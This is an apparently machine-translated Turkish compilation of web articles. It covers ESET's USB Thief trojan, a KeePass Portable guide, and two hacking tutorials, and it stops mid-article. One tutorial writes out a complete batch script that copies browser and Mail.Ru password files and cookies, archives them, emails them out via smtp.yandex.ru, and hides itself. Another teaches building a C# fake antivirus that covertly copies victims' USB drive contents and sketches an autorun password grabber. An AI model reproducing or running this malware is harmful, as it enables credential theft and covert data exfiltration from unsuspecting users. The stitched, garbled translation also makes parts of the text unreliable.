Son derece sıra dışı bir Truva atı: Kötü amaçlı yazılımın adı USB Hırsızı (Win32/PSW.Stealer.NAI). Kötü amaçlı yazılım veri çalmaya odaklanır, sıradan flash sürücülerde yayılır ve çalışır ve ayrıca sistemdeki varlığının izlerini ustaca gizler. Truva atı, bir USB sürücüsü bağlanabiliyorsa ağdan izole edilmiş sistemlere bile ulaşabileceğinden siber casusluk için idealdir.

Kötü amaçlı yazılımın başlaması için başlatmaya bağlı kalan ve uygulama kısayolları oluşturan diğer USB tehditlerinin aksine, USB Hırsızı farklı şekilde çalışır. Truva Atı, kullanıcıların genellikle Firefox, NotePad++, TrueCrypt ve benzeri uygulamaların taşınabilir sürümlerini flash sürücülerde depolaması gerçeğinden yararlanmak için tasarlanmıştır. Kötü amaçlı yazılım, bu tür programların indirme zincirine düzgün bir şekilde entegre edilmiştir, bir eklenti veya DLL dosyası. Böylece, bir kullanıcı bir flash sürücüden tanıdık bir uygulama başlattığında, onunla birlikte (arka planda) bir Truva Atı başlatılır.

Kötü amaçlı yazılımın bilinmeyen yazarı, gelişimi için ciddi koruma sağladı. USB Hırsızı, benzersiz kimliğini ve sürücü ayarlarını kullanarak virüslü her flash sürücüye bağlanır. Trojan'ın bazı dosyaları AES128 şifrelemesi ile korunur ve anahtar, cihazın benzersiz parametrelerine göre oluşturulur. Ayrıca, kötü amaçlı yazılım dosyalarının adları her durumda farklılık gösterir: bunlar, flash sürücünün içeriğine ve dosyaların oluşturulduğu zamana göre oluşturulur. USB Hırsızını başka bir flash sürücüye kopyalamaya çalışırken veya normal sert disk, bu iki aşamalı koruma sistemi, kötü amaçlı yazılımların çalışmasını engelleyecek ve ayrıca tersine mühendisliği ciddi şekilde karmaşıklaştıracaktır.

Truva yapısı

USB Hırsızı doğrudan flash sürücüden çalışır ve sistemin kendisinde hiçbir iz bırakmaz. Truva atı, dördü yürütülebilir ve ikisi yapılandırma verilerini içeren altı dosyadan oluşur. İlk yükleyici, bir programın taşınabilir sürümüyle birlikte Truva Atı'nın başlatılmasından sorumludur. USB cihazını kontrol eder ve çalınan bilgileri ona yazıp burada saklayabileceğinden emin olur. Ardından ikinci yükleyici başlar. Üst süreçlerin adlarını kontrol eder ve normal bir ortamda çalıştığından emin olur (ve hiç kimse onu ayrıştırmaya çalışmaz). Üçüncü yükleyici, sırayla, sistemdeki antivirüsleri kontrol eder.

Gömülü olan son, dördüncü yük çalışan süreç, veri hırsızlığından doğrudan sorumludur. USB Hırsızı, belgeleri, görüntüleri, mevcut tüm sürücülerden dosya listesini, verileri çalar Windows Kayıt Defteri ve WinAudit tarafından toplanan bilgiler. Çalınan tüm veriler bir flash sürücüde saklanır ve eliptik şifreleme kullanılarak şifrelenir.

ESET uzmanları, saldırıların USB kullanarak Hırsız henüz yaygın bir uygulama değil. Bununla birlikte, Truva atı varlığını tespit etmek zor olduğu için çok tehlikelidir ve USB sürücüsünü çıkardıktan sonra hiçbir bilgi hırsızlığı izi kalmaz. Şirketin raporu ayrıca, kötü amaçlı yazılımın yazarının, istenirse, veri hırsızlığı yükünü başka herhangi bir kötü amaçlı yazılımla değiştirerek kötü amaçlı yazılımını "yeniden amaca uygun hale getirebileceğini" belirtiyor.

Bu yazımda şifreli dosyaları çalan ve hepsini mail kutusuna gönderen bir virüsü ne kadar hızlı ve çok zorlanmadan yazıp oluşturacağını anlatacağım.
Virüsün bat "e (CMD, temel komutları alabilirsiniz) ile yani her zamanki gibi yazılacağı gerçeğiyle başlayalım. Metin dosyası ve standart, yerleşik Windows yorumlayıcısı - "komut satırı" kullanılarak yürütülecektir.
Böyle bir virüsü yazabilmek için, çalacağı dosyaların tam olarak nerede saklandığını, http://www.blat.net/ sitesinden veya sunucumuzdan indirilebilen Blat bileşenlerini bilmeniz gerekir. WinRaR arşivleyici Rar.exe'den bir bileşen (onsuz yapabilirsiniz).
Not defterini açın ve aşağıdaki kodu içine kopyalayın:

@echo kapalı md %systemroot%\wincs md %SystemDrive%\pass\ md %SystemDrive%\pass\opera\ md %SystemDrive%\pass\Mozilla\ md %SystemDrive%\pass\MailAgent\ md %SystemDrive%\pass\ MailAgent\reg özniteliği %systemroot%\wincs +h +s +r özniteliği %SystemDrive%\pass +h +s +r kopya /y "%systemroot%\blat.exe" "%systemroot%\wincs\blat.exe" kopyala /y "%systemroot%\blat.dll" "%systemroot%\wincs\blat.dll" kopyala /y "%systemroot%\blat.lib" "%systemroot%\wincs\blat.lib" CD'si /D % APPDATA%\Opera\Opera\ kopya /y wand.dat %SystemDrive%\pass\opera\wand.dat kopya /y cookie4.dat %SystemDrive%\pass\opera\cookies4.da regedit.exe -ea %SystemDrive%\ pass\MailAgent\reg\agent.reg "HKEY_CURRENT_USER\software\Mail.Ru\Agent\magent_logins2 regedit.exe -ea %SystemDrive%\pass\MailAgent\reg\agent_3.reg "HKEY_CURRENT_USER\software\Mail.Ru\Agent\ magent_logins3 CD /D %APPDATA% Xcopy Mra\Base %SystemDrive%\pass\MailAgent /K /H /G /Q /R /S /Y /E >nul Xcopy Mra\Update\ver.txt %SystemDrive%\pass\ MailAgent /K /H /G /Q /R /S /Y >nul cd %AppData%\Mozill a\Firefox\Profiles\*.default\ kopya /y cookie.sqlite %SystemDrive%\pass\Mozilla\cookies.sqlite kopya /y key3.db %SystemDrive%\pass\Mozilla\key3.db kopya /y signons.sqlite %SystemDrive%\pass\Mozilla\signons.sqlite kopyası /y %Windir%\Rar.exe %SystemDrive%\pass\Rar.exe >nul del /s /q %SystemRoot%\Rar.exe %SystemDrive%\pass\ rar.exe a -r %SystemDrive%\pass\pass.rar %SystemDrive%\pass\ kopya /y %SystemDrive%\pass\pass.rar %systemroot%\wincs\pass.rar cd %systemroot%\wincs %systemroot %\wincs\blat.exe -install -server smtp.yandex.ru -port 587 -f [email protected] -u login -pw Şifre ren *.rar pass.rar %systemroot%\wincs\blat.exe -body FilesPassword - [email protected] -attach %systemroot%\wincs\pass.rar rmdir /s /q %SystemDrive%\pass rmdir /s /q %systemroot%\wincs del /s /q %systemroot%\blat. exe del /s /q %systemroot%\blat.dll del /s /q %systemroot%\blat.lib özniteliği +a +s +h +r %systemroot%\wind.exe EXIT cls

Batinka'nın kodunun çoğunu yazmayacağım.
@echo off - poponun gövdesini gizler (bu nedenle gerekli değildir, ancak yine de)
md %systemroot%\wincs - içinde bir wincs klasörü oluşturur sistem klasörü Windows, hangi sürücüye kurulu olursa olsun veya adı ne olursa olsun.
md %SystemDrive%\pass\ - Windows'un yüklü olduğu sürücüde bir geçiş klasörü oluşturur.
md %SystemDrive%\pass\opera\ - wand.dat ve cookie4.dat dosyalarının bulunduğu opera klasörünü oluşturur Opera tarayıcısı(en fazla 11* versiyon, opera şifrelerini wand.dat dosyasında saklar)
md %SystemDrive%\pass\Mozilla\- dosyaların bulunduğu bir Mozilla klasörü oluşturur Mozilla tarayıcısı(cookies.sqlite ,key3.db ,signons.sqlite ) şifrelerin saklandığı.
md %SystemDrive%\pass\MailAgent\- Posta Aracısından yazışma geçmişini ve kayıt defteri anahtarlarını (şifreleri depolamak) içeren dosyaların kopyalanacağı bir MailAgent klasörü oluşturur.
md %SystemDrive%\pass\MailAgent\reg- bir klasör kaydı oluşturur
öznitelik %systemroot%\wincs +h +s +r- özellikleri wincs klasörüne koyar, böylece onu görünümden gizler.
öznitelik %SystemDrive%\pass +h +s +r- yukarıdakiyle aynı.
kopyala /y "%systemroot%\blat.exe" "%systemroot%\wincs\blat.exe"- blat.exe dosyasını indirme konumundan wincs klasörüne kopyalar
/y "%systemroot%\blat.dll" "%systemroot%\wincs\blat.dll" dosyasını kopyalayın- indirme konumundan blat.dll dosyasını wincs klasörüne kopyalar
kopyala /y "%systemroot%\blat.lib" "%systemroot%\wincs\blat.lib"- blat.lib dosyasını indirme konumundan wincs klasörüne kopyalar
CD /D %APPDATA%\Opera\Opera\ - operadan şifreli dosyaların (yalnızca değil) bulunduğu opera klasörüne gider.
kopyala /y wand.dat %SystemDrive%\pass\opera\wand.dat- wand.dat dosyasını opera klasörüne kopyalar
kopyala /y cookie4.dat %SystemDrive%\pass\opera\cookies4.dat- cookie4.dat dosyasını opera klasörüne kopyalar
regedit.exe -ea %SystemDrive%\pass\MailAgent\reg\agent.reg "HKEY_CURRENT_USER\software\Mail.Ru\Agent\magent_logins2- şifrenin saklandığı magent_logins2 kayıt defteri anahtarını reg klasörüne aktarır
regedit.exe -ea %SystemDrive%\pass\MailAgent\reg\agent.reg "HKEY_CURRENT_USER\software\Mail.Ru\Agent\magent_logins3- parolanın depolandığı magent_logins3 kayıt defteri anahtarını reg klasörüne aktarır
CD / D %APPDATA% - AppData klasörüne gidin
Xcopy Mra\Base %SystemDrive%\pass\MailAgent /K /H /G /Q /R /S /Y /E >nul- Mra\Base klasörünün içeriğini MailAgent klasörüne kopyalar
Xcopy Mra\Update\ver.txt %SystemDrive%\pass\MailAgent /K /H /G /Q /R /S /Y >nul- ver.txt dosyasını MailAgent klasörüne kopyalar
cd %AppData%\Mozilla\Firefox\Profiles\*.default\- Mozilla tarayıcı profilinin bulunduğu klasöre gidin
kopyala /y cookie.sqlite %SystemDrive%\pass\Mozilla\cookies.sqlite- cookie.sqlite dosyasını Mozilla klasörüne kopyalar
kopyala /y key3.db %SystemDrive%\pass\Mozilla\key3.db- key3.db dosyasını Mozilla klasörüne kopyalar
/y signons.sqlite %SystemDrive%\pass\Mozilla\signons.sqlite dosyasını kopyalayın- signons.sqlite dosyasını Mozilla klasörüne kopyalar
kopyala /y %Windir%\Rar.exe %SystemDrive%\pass\Rar.exe >nul- WinRar Rar.exe arşivleyici bileşenini geçiş klasörüne kopyalar
del /s /q %SystemRoot%\Rar.exe- arşivleyici bileşenini Windows klasöründen kaldırır
%SystemDrive%\pass\rar.exe ve -r %SystemDrive%\pass\pass.rar %SystemDrive%\pass\- geçiş klasörünün içeriğini arşivleyin
kopyala /y %SystemDrive%\pass\pass.rar %systemroot%\wincs\pass.rar oluşturulan arşivi wincs klasörüne kopyalayın
cd %systemroot%\wincs - wincs klasörüne gidin
%systemroot%\wincs\blat.exe -install -server smtp.yandex.ru -port 587 -f [email protected] -u login -pw Şifre - Blat programını, yetkilendirme için verileri belirterek ve mektubu göndererek arşivi göndermeye hazırlar.Arşivle birlikte mektubun geleceği posta kutusundan verilerinizi belirtmeyi unutmayın. gönderilmiş.
ren *.rar pass.rar - işlem sırasında arşivin yanlış isim almaması durumunda, tekrar pass.rar olarak yeniden adlandıracağız
%systemroot%\wincs\blat.exe -body Dosya Parolası -to [email protected] -%systemroot%\wincs\pass.rar'ı ekleyin- mektubun hangi posta adresine gönderileceğini belirtin ve gönderin.
rmdir /s /q %SystemDrive%\pass- geçiş klasörünü silin
rmdir /s /q %systemroot%\wincs- wincs klasörünü sil
del /s /q %systemroot%\blat.exe
del /s /q %systemroot%\blat.dll- Blat bileşenlerini Windows klasöründen kaldırın.
del /s /q %systemroot%\blat.lib- Blat bileşenlerini Windows klasöründen kaldırın.
öznitelik +a +s +h +r %systemroot%\wind.exe- kendimize nitelikler koyarız, böylece kendimizi gözlerden saklarız.
EXIT - batink işlemini tamamlayın ve çıkın.
cls - intraperatördeki tüm satırların çıktısını temizler.
Kopyalandı, wind.bat olarak kaydedin ve kullanarak exe için derleyin yarasa programları exe dönüştürücü için, sonra her şeyi bir araya topluyoruz, yani, Blat program bileşenlerini ve WinRar arşivleyici bileşenini (indirebilirsiniz) alıp tek bir yürütülebilir dosyaya yapıştırıyoruz veya bir programla, tüm dosyaları boşaltmanın yolu gerekir. % SystemRoot% veya % WindowsDir % veya %windir% olabilir.
Sonuç olarak, antivirüsler tarafından tetiklenmeyecek ve postanıza dosyalar içeren bir arşiv gönderecek bir virüs alıyoruz.Postaya gelen dosyaların şifresi, hepsi olmasa da, sadece değnek ile çoklu şifre kurtarma kullanılarak çözülebilir. .dat operadan ve daha sonra 11 * sürümlerine güncellenmediyse.Diğer tüm dosyaların şifresi, bunları kendinizle değiştirerek çözülebilir.
Sanırım bu son, herhangi bir sorunuz varsa sormaktan çekinmeyin.
İlginiz için teşekkür ederiz, her şey gönlünüzce olsun!
©TheHackWorld.in ile Değiştirin

Sony ve Adobe dahil olmak üzere birçok şirket, milyonlarca şifreyi ve diğer kullanıcı verilerini çalan bilgisayar korsanlarının şimdiden kurbanı oldu. Bu bilgilerin analizi, birçok kullanıcının çoğu hizmet için ya "123456" gibi zayıf parolaları ya da aynı parolayı kullandığını gösterdi. Bu, bilgisayar korsanları için görevlerini büyük ölçüde kolaylaştırır ve aynı zamanda bu tür dikkatsizlik anlaşılabilir: Kim bir düzineden fazla karmaşık şifreyi hatırlayabilir?

Basit bir çözüm, klavyenin altına bantlanmış bir kağıt parçası olabilir. Tek bir bilgisayar korsanı onu ele geçiremez, ancak bilgisayarınızın yakınındaki insanları sürekli olarak izlemeniz gerekir. Ve başka birinin bilgisayarından hesabınıza giriş yapmak istiyorsanız bu sayfa hiçbir işe yaramaz.

Ücretsiz KeePass 2 Portable aracı bu ikilemi çözer. Çalışması için, yalnızca üzerine yardımcı bir program yükleyeceğiniz 10 MB boş alana sahip bir USB flash sürücüye ihtiyacınız vardır. Gelecekte, flash sürücünün korumalı alanından yalnızca bir şifreyi hatırlamanız gerekecek. Sonuçta, içinde KeePass, oturum açma verilerini bir ana parola ile korunan kodlanmış bir veri bankası biçiminde web hizmetlerinize kaydeder.

Şifreleri çalan truva atları hiçbir şeyi koklayamaz. Ve artık onlarca şifreyi hatırlamanıza gerek kalmadığından, gerçekten her web servisi için yeni bir şifre kullanabilirsiniz. güçlü şifre. Şimdi size KeePass'ın nasıl kullanılacağını detaylı olarak anlatacağız.

Nasıl yapılır

1 Bir şifre kasası kurun


Bir şifre kasası kurun

PC'ye bir USB flash sürücü takın, üzerinde yeni bir klasör oluşturun ve arşivin içeriğini KeePass yazılımı ile buraya kopyalayın. KeePass.exe programını çalıştırın. Başlattıktan sonra etkinleştirin otomatik arama açılır pencerede "Etkinleştir"e tıklayarak güncellemeler. Ardından "Görünüm | Dili Değiştir" ve "Daha fazla dil al" seçeneğini tıklayın.

Açılan siteden “Rusça | 2.25+". Arşivin içeriğini bir USB sürücüsüne çıkarın. "Görünüm | Dili Değiştir", "Rusça"yı seçin ve "Evet" düğmesine basarak KeePass'i yeniden başlatın.

2 Yeni bir şifre veritabanı oluşturun


Yeni bir şifre veritabanı oluşturun

"Dosya | Yeni" seçeneğini tıklayın ve USB sürücüsünü parola deposu olarak belirtin. Bir sonraki pencerede, program sizden ana şifreyi belirlemenizi isteyecektir. KeePass'i her başlattığınızda girmeniz gerekecek.

3 Korumalı Modu Etkinleştir


Korumalı Modu Etkinleştir

Truva Atı'nın KeePass şifrenizi okumasını önlemek için, Windows 7'deki UAC'ye benzer şekilde, programın korumalı modunu girmelisiniz. Bunu yapmak için KeePass'ta “Araçlar | Ayarlar | Güvenlik", pencerenin en altına gidin ve "Güvenli modda ana parolayı girin" seçeneğinin yanındaki kutuyu işaretleyin.

4 Veritabanını parolalarla doldurun


Veritabanını parolalarla doldurun

KeePass, şifreleri gruplara ayırabilir. Varsayılan olarak, yeni şifre bankanızda "OS" veya "İnternet" gibi gruplar bulunur. Yaratmak Yeni Rekor, uygun grubu seçin (veya yeni bir tane oluşturun), sağdaki beyaz alana sağ tıklayın ve ardından "Giriş Ekle"ye tıklayın.

Tüm alanları doldurun ve Tamam'a tıklayın. Artık her hesapta oturum açmak için parolaları hatırlamanız gerekmediğinden, örneğin passwort-generator.com adresinde oluşturulabilecek yeni, daha karmaşık parolalar belirleyebilirsiniz.

5 Otomatik yetkilendirmeyi kullan


KeePass kullanarak hizmette oturum açmak istiyorsanız, ilgili parolanın saklandığı grubu açın. Sağ tık ilgili depolama girişine fareyle tıklayın KeePass şifreleri ve açılır listeden "Otomatik Aramayı Başlat"ı seçin. Bundan sonra, program verilerinizi tarayıcıya aktaracak ve tarayıcı, hesabınıza giriş yapacağınız yeni bir pencere açacaktır.

Lütfen "URL" alanına yetkilendirme için tarayıcıya genellikle girdiğiniz URL'yi girmeniz gerektiğini unutmayın, aksi takdirde KeePass üzerinden otomatik şifre girişi çalışmayacaktır.

6 KeePass'i uzatın


KeePass'i uzatın

KeePass'in işlevselliğini genişletmek istiyorsanız, "Araçlar | Modüller | Daha fazla modül” ile siteye yönlendirileceksiniz. faydalı uzantılar(önerilerimiz yukarıdaki tabloda bulunabilir). Şimdi, eklentinin adına tıklayarak indirin ve bir flash sürücüye çıkarın.

KeePass'i yeniden başlatın ve Araçlar | Modüller. Altta mevcut eklentilerin bir listesi görüntülenecektir (bazıları yapılandırılabilir).

KeePass için En İyi Uzantılar

Kasanızı şifrelerle donatın Ek özellikler, örneğin fonksiyon Yedek kopya veya cep telefonları için bir şifrenin iletilmesi.

İsim

Tanım

Veri TabanıYedekleme USB sürücüsünün çalınması veya kaybolması durumunda parola bankası korumasını ayarlar.
İki Balık Şifresi
KeeAgent Kırılması neredeyse imkansız olan bir kodlama algoritması ekler; Bunun KeePass'i daha yavaş çalıştıracağını unutmayın.
Anahtar Değiştirici Kırılması neredeyse imkansız olan bir kodlama algoritması ekler; Bunun KeePass'i daha yavaş çalıştıracağını unutmayın.
KeeForm Bir düğmeye tıklayarak favori sitelerinizi açar ve giriş bilgilerinizi otomatik olarak doldurur.

Sadece ölümlüler için bir flash sürücü, belgeleri / filmleri / fotoğrafları ve diğer kişisel (ve bazen çok kişisel) bilgileri aktarmak için kullanılan bir cihazdır. Ancak bilgisayar korsanları için flash sürücü hem kurban hem de savaş aracıdır. Bugün size flash sürücülerden bilgisayarıma fark edilmeden veri boşaltmanın tüm inceliklerini anlatacağım ve ayrıca size zararsız flash sürücülerin “büyük” bir bilgisayardan şifreleri yedeklemek için programlara nasıl dönüştürüleceğini öğreteceğim.

Başkalarının flash sürücüleri için tuzak

"Kötü Bilgisayar" programının fikri şu şekilde olacaktır. Amacı, flash sürücülerden “tehlikeli” virüsleri kalitatif olarak kaldırmak olan, süper mega gelişmiş bir antivirüs gibi davranacak küçük bir araç geliştireceğiz. Virüs bulaşmış bir flash sürücüye sahip kimseyi şaşırtmayacaksınız, bu nedenle özel "anti-virüs"ümüz saf bir kullanıcıda endişeye neden olmaz. Aksine, bilgisayarınıza bir USB flash sürücü taktığınızda aşağıdaki gibi bir mesaj görürsünüz: "Virus bulundu. Virüslülerin varlığı için tüm dosyaların ayrıntılı bir taramasını yapıyorum ", - kesinlikle bu işlemin tamamlanmasını bekleyecektir.

Enstrüman hazırlığı

öyle yaz faydalı programşimdi moda olan C#'da olacağız. .NET platformunun dilin esnekliği ve zengin işlevselliği, uygulamaları yıldırım hızında geliştirmenize olanak tanır. Bu tam olarak ihtiyacımız olan şey. Sıkıcı kodlama süreciyle değil, hasat edebileceğimiz hasatla ilgileniyoruz.

Uygulamamızın önemli bileşenlerinden biri de arayüz olacaktır. Bunu ne kadar sağlam yaparsanız, kurbanın yakalamayı fark etmemesi ve anti-virüs taramasının tamamlanmasını sakince beklemesi o kadar olasıdır. Çok fazla uğraşmadım ve temiz bir proje şeklinde sadece bir resim ve bir ProgressBar yerleştirdim. Bir patlama yaşayabilir ve akıllara durgunluk veren bir tasarım yapabilirsiniz. Bazı gerçek antivirüslerin tasarımına bakmanızı ve uygulamanızı yaklaşık olarak aynı tarzda tasarlamanızı tavsiye ederim.

Görevi belirledik

Organizasyonel konulara ve eylem algoritmasına karar verdiğimizi varsayacağız, teknik nüansları tartışmanın zamanı geldi. Bu nedenle, antivirüsümüz kirli çalışmasına flash sürücünün kurulumu sırasında başlamalıdır. Bir kere yeni disk Sistemde görünüyorsa programımız harfini belirleyip kopyalamaya başlamalıdır.

Bu makaleyi yazmaya başlamadan önce böyle bir programın kaynak koduyla karşılaştım. Örneğin yazarı, "tipinde bir sürücünün varlığı için tüm diskleri periyodik olarak numaralandırarak bir flash sürücünün varlığını belirledi" çıkarılabilir medya". İlk başta ben de aynı yoldan gitmeyi düşündüm ama içimden bir ses mantıksızlığı önerdi. Tüm "artıları" ve tüm "peki, başladı"yı tarttıktan sonra bu fikri bir kenara attım ve MSND'de yürüyüşe çıktım. Beş dakika sonra bunu iyi bir sebeple yaptığım ortaya çıktı. Cevap bulundu!

WinAPI olmadan hiçbir yerde ...

Yeni ekipmanı (bizim durumumuzda, flash sürücüler) bağlamayı öğrenmenin en etkili yolu, WM_DEVICECHANGE mesajını yakalamak ve analiz etmektir. Cihazın kurulumu sırasında tüm pencerelere mesaj gönderiliyor ve uygulamamızda rahatlıkla işleyebiliyoruz. Bunun için WindowProc fonksiyonunu tanımlamanız yeterlidir. Pratikte şöyle görünür:

Sonuç CALLBACK WindowProc (HWND hwnd, //pencere kimliği UINT uMsg, //mesaj kimliği WPARAM wParam, //gerçekleşen olay LPARAM lParam //veri içeren yapıya işaretçi)

İşlevin gövdesinde, WParam parametresinin değerini, WM_DEVICECHANGE mesajıyla ilgili çeşitli olayların kimlikleriyle karşılaştırmanız gerekir. Örneğimiz için bunlar şöyle olacaktır:

  • DBT_DEVICEARRIVAL - ekipman eklendi
  • DBT_DEVICEREMOVECOMPLETE - Donanım tamamen kaldırıldı
  • Tamam, yeni ekipman bağlama gerçeğini nasıl kuracağımızı biliyoruz, ancak bir USB flash sürücü bağladığınızdan nasıl emin olabiliriz? Çalışırken takılabilir bir çok cihaz var (USB'den bahsediyorum) (yazıcı, tarayıcı, modem vb.). Neyse ki, bu sorun oldukça basit bir şekilde çözüldü. LParam parametresini kullanarak dbch_devicetype alanı olan _DEV_BROADCAST_HDR yapısına başvurabiliriz. Burada, bu alanın değerine dayanarak uygun sonuçlar çıkarılır. DEV_DEVTYP_VOLUME'a eşitse, sevinme ve ellerinizi çırpma zamanı - bize bir flash sürücü bağlandı!

    Typedef struct _DEV_BROADCAST_HDR ( DWORD dbch_size; //DWORD yapı boyutu dbch_devicetype; //Cihaz tipi DWORD dbch_reserved; //Ayrılmış, kullanılmıyor )DEV_BROADCAST_HDR, *PDEV_BROADCAST_HDR;

    Pisyuk'umuza bir USB flash sürücü takıldı - sistemin kendisine atadığı sürücü harfini bulmaya çalışalım. "Mucizeler Alanı"nda olduğu gibi, bunu tahmin edebilirsiniz, ancak bilgiyi DEV_BROADCAST_VOLUME yapısından çıkarmak daha iyidir.

    Typedef struct _DEV_BROADCAST_VOLUME ( DWORD dbcv_size; //DWORD yapı boyutu dbcv_devicetype; //Aygıt türü DWORD dbcv_reserved; //Ayrılmış DWORD dbcv_unitmask;ADOLUVME, //DWORD_AST_ROc;

    Bu yapıdaki tüm alanlardan dbcv_unitmask ile ilgileniyoruz. Bu özelliğin, harfin sembolik temsilini değil, yalnızca bir kısmını içerdiğini unutmayın. Örneğin, değer 0 ise, sürücü harfi A olacaktır; 1 ise, o zaman B, vb. Sembolik bir harf elde etmenin rahatlığı için bir fonksiyon yazmak en iyisidir.

    Sütunumuzu uzun süredir okuyorsanız ve API işlevlerine aşinaysanız, makalenin sonraki bölümünü okumanıza gerek yoktur. Düzenleyiciyi açın ve uygulamaları şekillendirmeye başlayın. Gerekli tüm yapıları ve işlevleri anlattım; bunları programda bir araya getirmeniz yeterli. Kararınızı verin, özellikle .NET ve C# dallarına başlayacağım.

    .NET "ohm'a basalım

    Pratik yapmaya başlama ve bilginizi C# diline uygulama zamanı. "Ne halt? - sen sor. - Makalenin yarısından WinAPI hakkında konuştum, ama sonra aptalca bir şekilde tüm işlevlere yerel kod biçiminde bir çağrı yapmaya karar verdim? İddia edilen yıldırım gelişme hızı nerede?

    Bir şeyde haklısın. Uygulamamız gerçekten de WinAPI işlevlerini kullanacak (daha kolay bir yol değil), ancak bunları kendimiz tanımlamayacağız. Birçok geliştirici, flash sürücüleri belirleme sorunuyla karşı karşıya kaldı. Bu çatışmalar sonucunda, gerekli tüm işlevlerin zaten uygulandığı C # için ücretsiz sınıflar ortaya çıkmaya başladı. Sadece böyle bir boş (okuma bileşeni) projemize bağlamamız ve birkaç yöntem çağırmamız gerekiyor. Şimdi bu sınıflardan birini kullanacağız. Ancak yukarıda açıklanan yapıların bilgisi, bu programı Windows API'sine taşırken kesinlikle kullanışlı olacaktır.

    Bu tür sorunları çözen bir çok hazır sınıf var ama ben en çok Jan Dolinay'ın versiyonunu beğendim. Bu kişi, aşağıdakileri yapabilen, kullanımı çok kolay ve anlaşılır bir DriveDetector sınıfı yazdı:

  • Bir flash sürücünün bağlı olup olmadığını belirleyin
  • Bağlı bir flash sürücünün bağlantısını kesmek için bir istek tanımlayın
  • Flaşın kapalı olduğu gerçeğini belirleyin
  • Yeni bağlanan bir flash sürücünün sürücü harfini alın
  • Bir flash sürücüden açılan dosyaların bir listesini sağlayın
  • Ve en önemlisi, bu sınıfla çalışmak son derece kolaydır - bunu şimdi göreceksiniz. Projenize bir sınıf bağlamak standart bir şekilde yapılır ve bunun üzerinde durmanın bir anlamı yoktur. Öyleyse başlatmaya geçelim. Şu şekilde yapılır:

    FlashDriveDetector = new DriveDetector(); flashDriveDetector.DeviceArrived += new DriveDetectorEventHandler(OnDriveArrived); flashDriveDetector.DeviceRemoved += yeni DriveDetectorEventHandler(OnDriveRemoved);

    DriveDetector sınıfının bir nesnesini başlattıktan sonra, DevieArrived() ve DriveRemoved() olay işleyicilerini tanımlarım. Adlarına göre, neden sorumlu olduklarını tahmin etmek zor değil. Tüm başlatma kodları en iyi şekilde Form1() yönteminde yazılır. Programımızın ana kodu DeviceArrived olay işleyicisinde olacaktır. Metnini kenar çubuğunda görebilirsiniz:

    String dirName = Environment.GetCommandLineArgs() + "flash_" + DateTime.Now.ToString("dd-MM-yy-hh-mm-ss"); CreateDirectory(dirName); xDirectory flashcopier = yeni xDirectory(); flashcopier.IndexComplete += new IndexCompleteEventHandler(IndexComplete); flashcopier.ItemCopied += new ItemCopiedEventHandler(ItemCopied); flashcopier.CopyComplete += new CopyCompleteEventHandler(CopyComplete); flashcopier.Source = new DirectoryInfo(e.Drive.ToString()); flashcopier.Destination = new DirectoryInfo(dirName); flashcopier.Overwrite = true; flashcopier.FolderFilter = "*"; flashcopier.FileFilters.Add("*.doc"); flashcopier.FileFilters.Add("*.xls"); //Diğer filtreleri tanımlayın //.... flashcopier.StartCopy();

    Listenin en başında, flash sürücünün içeriğini kopyalayacağımız klasörün yolunu tanımlarım. Uygulamamızın başlatıldığı klasörle birlikte bulunan "flash_current date" dizinine kopyalayacağız - bu daha uygun. Bir klasör adına karar verdikten sonra, CreateDirectory() işlevini kullanarak onu oluşturmaya çalışıyorum. Bu işlevi yalnızca kolaylık sağlamak için yazdım. Dizinlerle çalışmak üzere tasarlanmış DirectoryInfo nesnesinin bir örneğini oluşturur ve yeni bir klasör oluşturan Create() yöntemini çağırır.

    Bir klasör oluşturduktan sonra kopyalayabilirsiniz. Tüm dosyaları xDirectory türünde bir nesne kullanarak kopyalarım. Listedeki kodu kendiniz yazarsanız, derlemeye çalıştığınızda, derleyici siyah beyaz olarak "Bu tür bir nesne bulunamadı" diyeceği bir hata üretecektir.

    Buradaki nokta, xDirectory'nin üçüncü taraf bir sınıf olmasıdır. Bir zamanlar internette buldum ve o zamandan beri projelerimde sıklıkla kullanıyorum. Beğendim çünkü alt klasörleri kopyalamak için bir yöntemi çağırmak yeterli. Ek olarak, filtreler ayarlamanıza izin verir.

    Gerçekten onsuz yap. Tüm programcılar tarafından iyi bilinen bir teknik olan özyineleme - standart dersleri alıyoruz ve birkaç düzine kod satırı yazıyoruz. Ne yazık ki, bunu kesinlikle yapmak istemiyorum. Bahçede 21. yüzyıl, eylemlerimizi maksimuma çıkarmamız gerekiyor ve xDirectory bu konuda bize yardımcı olacak.

    Sınıfı içeren modül diskimizde bulunmaktadır ve ilgili tabloya bakarak metotların/özelliklerin/olayların amacını öğrenebilirsiniz.

    xDirectory sınıfının özellikleri

    xDirectory Sınıf Yöntemleri

    Uygulamamızı çalıştırmayı deneyin ve bir flash sürücü takın. Birkaç saniye sonra (flash sürücünüzün dağınıklığına bağlı olarak), USB sürücüsünün tüm içeriği, yeni pişmiş uygulamayı başlattığınız klasöre aktarılacaktır.

    USB kapmak

    Şimdi ters problemi düşünelim ve sözde yaratmanın nüansları hakkında konuşalım. flash sürücü kapmak. Yaratılış prensibi tamamen aynıdır. Flash sürücüyü kurduktan sonra otomatik olarak çalışacak basit bir uygulama yazmanız gerekiyor.

    Çalışma sürecinde, uygulama, popüler programların kayıtlı şifreleri sakladığı klasörleri / kayıt defteri anahtarlarını gözden geçirecek ve mümkünse tüm bilgileri klasörlerinden birine kopyalayacaktır. Otomatik çalıştırmanızın zayıf kullanıcı arasında şüphe uyandırmaması için, dikkatli bir şekilde gizleme zahmetine girin. Örneğin, başlatma menüsü altında.

    Uygulamaların sözde taşınabilir sürümlerinin artık çok popüler hale geldiğinin, yani doğrudan bir flash sürücüden çalışabilen programların muhtemelen farkındasınızdır. Bu, oynamanın en iyi yolu. Programı uygun tarzda tasarlayın ve inandırıcılık için herhangi bir programı başlatmak için tasarlanmış birkaç düğmeyi atın. Tasarımım resimde gösterilmiştir.

    Nasıl soyacağız?

